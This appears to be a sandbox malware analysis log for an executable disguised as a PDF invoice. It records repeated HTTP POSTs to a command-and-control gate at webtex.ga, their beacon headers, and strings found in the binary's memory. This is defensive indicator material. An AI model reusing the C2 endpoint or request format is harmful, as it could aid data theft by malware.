Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Code function: 1_2_00404ED4 recv,

1_2_00404ED4

Source: unknown

DNS traffic detected: queries for: webtex.ga

Source: unknown

HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 190Connection: close

Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.235301021.0000000002F31000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000001.00000002.500191687.000000000049F000.00000040.00000001.sdmp	String found in binary or memory: http://webtex.ga/ibiki/gate.php
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.234416730.0000000005F67000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.coma
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.234416730.0000000005F67000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.como
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.224544561.0000000005F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.224544561.0000000005F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/9
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.224544561.0000000005F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cnac8
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.224342922.0000000005F71000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cnpro
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: PI_Nov9071011998_ENTRUSTpdf.exe, PI_Nov9071011998_ENTRUSTpdf.exe, 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: http://www.ibsensoftware.com/
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/$T
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/3T
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/WTa
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y0-d
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y0/
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/eT
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/JT
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225373707.0000000005F68000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/eT
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp, PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225166450.0000000005F63000.00000004.00000001.sdmp, PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225636033.0000000005F6A000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/s
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
